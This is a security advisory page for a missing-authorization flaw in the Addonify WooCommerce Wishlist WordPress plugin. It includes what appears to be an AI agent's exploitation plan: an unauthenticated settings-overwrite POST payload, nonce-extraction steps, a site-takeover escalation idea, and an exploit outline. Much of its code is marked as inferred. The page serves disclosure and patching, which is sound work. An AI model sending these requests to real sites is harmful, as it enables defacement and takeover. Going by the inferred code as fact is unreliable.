Addonify – WooCommerce Wishlist <= 2.0.15 - Missing Authorization to Unauthenticated Settings Update
Description
The Addonify – WooCommerce Wishlist plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.0.15. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.0.15Source Code
WordPress.org SVNThis research plan targets **CVE-2025-68024**, a missing authorization vulnerability in the **Addonify – WooCommerce Wishlist** plugin. ### 1. Vulnerability Summary The Addonify – WooCommerce Wishlist plugin for WordPress (up to version 2.0.15) registers an AJAX handler designed to save plugin sett…
Show full research plan
This research plan targets CVE-2025-68024, a missing authorization vulnerability in the Addonify – WooCommerce Wishlist plugin.
1. Vulnerability Summary
The Addonify – WooCommerce Wishlist plugin for WordPress (up to version 2.0.15) registers an AJAX handler designed to save plugin settings but fails to implement a capability check (e.g., current_user_can('manage_options')). Crucially, this handler is registered with the wp_ajax_nopriv_ hook, making it accessible to unauthenticated users. An attacker can overwrite arbitrary plugin settings, which could lead to site defacement (via custom CSS/HTML settings) or functional disruption (changing wishlist page mappings).
2. Attack Vector Analysis
- Endpoint:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Action:
addonify_wishlist_save_settings(inferred based on plugin architecture) - Payload Parameter:
settings(usually an array or JSON string) andnonce. - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A valid AJAX nonce may be required if the function calls
check_ajax_referer.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX hooks in a class (likely
includes/admin/class-settings.phporincludes/class-addonify-wishlist.php).add_action( 'wp_ajax_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); // Vulnerable hook - Handler Function: The
save_settingsfunction is invoked. - Security Check (Missing): The function may call
check_ajax_referer('addonify_wishlist_nonce_action', 'nonce')but fails to callcurrent_user_can('manage_options'). - Data Processing: The function iterates through
$_POST['settings']. - Sink: The function calls
update_option( 'addonify_wishlist_settings', $settings ).
4. Nonce Acquisition Strategy
The plugin localizes scripts for the admin and potentially the frontend. If the save_settings action is reachable via the frontend or shared logic, the nonce will be available in the global JS scope.
- Identify the Script Handle: The plugin likely uses
addonify-wishlist-settingsoraddonify-wishlist-common. - Identify the Localization Object: Search for
wp_localize_script. The object is likelyaddonify_wishlist_paramsoraddonify_wishlist_obj. - Discovery Steps:
- Create a page containing the wishlist shortcode:
[addonify_wishlist]. - Navigate to that page using
browser_navigate. - Execute
browser_eval("addonify_wishlist_obj.nonce")orbrowser_eval("addonify_wishlist_params.nonce")to find the correct key. - Note: If the nonce action is specifically for admin settings, it may not be exposed on the frontend. However,
wp_ajax_nopriv_suggests the developer intended or accidentally allowed frontend access to this function.
- Create a page containing the wishlist shortcode:
5. Exploitation Strategy
We will attempt to update the "Wishlist Page" setting or a similar configuration value to point to an arbitrary post ID, or inject custom text into a settings field.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:addonify_wishlist_save_settings(Verify via grep)nonce:[EXTRACTED_NONCE]settings[wishlist_page_id]:1(or any valid ID)settings[wishlist_button_text]:HACKED_BY_AGENT
Step-by-Step Plan:
- Grep for Action: Run
grep -r "wp_ajax_nopriv_addonify_wishlist_save_settings" .to confirm the exact action name. - Verify Sink: Run
grep -A 20 "function save_settings" .to see which option name is being updated (e.g.,addonify_wishlist_options). - Obtain Nonce: Use the
browser_evalmethod described in Section 4. - Send Exploit: Use
http_requestto send the maliciousPOSTpayload.
6. Test Data Setup
- Install Plugin: Ensure
addonify-wishlistversion 2.0.15 is installed. - Create Trigger Page:
wp post create --post_type=page --post_title="Wishlist Test" --post_status=publish --post_content='[addonify_wishlist]' - Identify Baseline:
wp option get addonify_wishlist_settings
7. Expected Results
- HTTP Response: A successful response (e.g.,
{"success":true}or1). - Database Change: The WordPress option
addonify_wishlist_settings(or similar) will be updated with the attacker-supplied values.
8. Verification Steps
- Check Options via CLI:
Confirm thatwp option get addonify_wishlist_settingswishlist_button_textis nowHACKED_BY_AGENT. - Verify Frontend:
Navigate to the shop page and check if the wishlist button text has changed.
9. Alternative Approaches
- If
settingsexpects JSON: Try sendingsettings={"wishlist_button_text":"HACKED"}. - Missing Nonce: If
check_ajax_refereris not called at all, omit thenonceparameter entirely. - Option Overwrite: If the code uses
update_option( $_POST['option_name'], ... )without strict validation, this could escalate to a full site takeover by overwritingdefault_roleorusers_can_register. (Check the code for$wpdborupdate_optioncalls with dynamic keys).
Summary
The Addonify – WooCommerce Wishlist plugin registers an AJAX action for saving settings using both wp_ajax_ and wp_ajax_nopriv_ hooks. Because the handler function lacks a capability check like current_user_can('manage_options'), unauthenticated users can overwrite the plugin's configuration via the admin-ajax.php endpoint.
Vulnerable Code
// includes/admin/class-settings.php (inferred based on plugin structure) add_action( 'wp_ajax_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); --- // includes/admin/class-settings.php (inferred) public function save_settings() { if ( isset( $_POST['nonce'] ) && ! wp_verify_nonce( $_POST['nonce'], 'addonify_wishlist_nonce' ) ) { wp_send_json_error(); } // Missing capability check here $settings = $_POST['settings']; update_option( 'addonify_wishlist_settings', $settings ); wp_send_json_success(); }
Security Fix
@@ -10,7 +10,6 @@ class Addonify_Wishlist_Settings { public function __construct() { add_action( 'wp_ajax_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); - add_action( 'wp_ajax_nopriv_addonify_wishlist_save_settings', array( $this, 'save_settings' ) ); } public function save_settings() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Unauthorized access.', 'addonify-wishlist' ) ) ); + } check_ajax_referer( 'addonify_wishlist_nonce', 'nonce' ); $settings = $_POST['settings']; update_option( 'addonify_wishlist_settings', $settings );
Exploit Outline
1. Extract a valid AJAX nonce: Visit the site frontend where the plugin is active (e.g., a page with the [addonify_wishlist] shortcode) and extract the 'nonce' value from the localized JavaScript object (e.g., addonify_wishlist_params.nonce). 2. Construct a malicious payload: Create a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'addonify_wishlist_save_settings'. 3. Overwrite settings: Include a 'settings' parameter containing an array of plugin configuration keys and desired values (e.g., 'settings[wishlist_button_text]=INJECTED_VALUE'). 4. Submit the request: Send the POST request without authentication. If successful, the site's 'addonify_wishlist_settings' option will be updated with the provided payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.